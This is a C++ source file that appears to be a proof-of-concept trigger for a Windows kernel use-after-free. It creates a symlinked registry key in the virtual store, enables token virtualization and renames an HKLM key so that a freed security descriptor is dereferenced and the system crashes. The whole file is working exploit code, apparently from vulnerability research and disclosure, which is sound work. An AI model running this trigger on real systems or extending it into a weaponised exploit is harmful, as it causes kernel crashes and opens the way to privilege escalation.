#include <Windows.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "advapi32")

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  LONG st;

  //
  // Create our own replicated key structure under the virtual store, with the
  // leaf key being a symbolic link.
  //

  HKEY hvirtstoreparent, hvirtstore;
  st = RegCreateKeyExW(HKEY_CURRENT_USER,
                       L"Software\\Classes\\VirtualStore\\Machine\\"
                       L"Software\\Microsoft",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hvirtstoreparent,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  st = RegCreateKeyExW(hvirtstoreparent,
                       L"Windows Advanced Threat Protection",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hvirtstore,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Set a custom, unique security descriptor on the leaf key, to ensure that
  // the SD will have only one reference and will get freed once that reference
  // is dropped.
  //

  PSECURITY_DESCRIPTOR lpSecurityDescriptor;

  CONST WCHAR* szSD = L"D:(A;;KA;;;WD)"; // Allow KEY_ALL_ACCESS for Everyone.

  if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(szSD,
                                                            SDDL_REVISION_1,
                                                            &lpSecurityDescriptor,
                                                            NULL)) {
    printf("ConvertStringSecurityDescriptorToSecurityDescriptorW failed with "
           "error %u\n", GetLastError());
    return 1;
  }

  st = RegSetKeySecurity(hvirtstore, DACL_SECURITY_INFORMATION, lpSecurityDescriptor);

  if (st != ERROR_SUCCESS) {
    printf("RegSetKeySecurity failed with error %d\n", st);
    return 1;
  }

  //
  // Open "HKLM\Software\Microsoft\Windows Advanced Threat Protection" with
  // read access.
  //

  HKEY hrealkey;
  st = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                     L"Software\\Microsoft\\Windows Advanced Threat Protection",
                     0,
                     KEY_READ,
                     &hrealkey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);

  //
  // Rename the key in HKLM, which will trigger key replication and the freeing
  // of the virtual store leaf key's existing security descriptor, without
  // updating the corresponding _CM_KEY_CONTROL_BLOCK.CachedSecurity field.
  //

  st = RegRenameKey(hrealkey, NULL, L"Test");

  if (st != ERROR_FILE_NOT_FOUND) {
    printf("RegRenameKey failed with error %d\n", st);
    return 1;
  }

  //
  // Request the security descriptor of the virtual store leaf key, which
  // should result in dereferencing a freed kernel pool pointer and a crash.
  //

  DWORD cbSecurityDescriptor = 0;
  st = RegGetKeySecurity(hvirtstore,
                         DACL_SECURITY_INFORMATION,
                         NULL,
                         &cbSecurityDescriptor);

  if (st != ERROR_SUCCESS) {
    printf("RegGetKeySecurity failed with error %d\n", st);
    return 1;
  }

  return 0;
}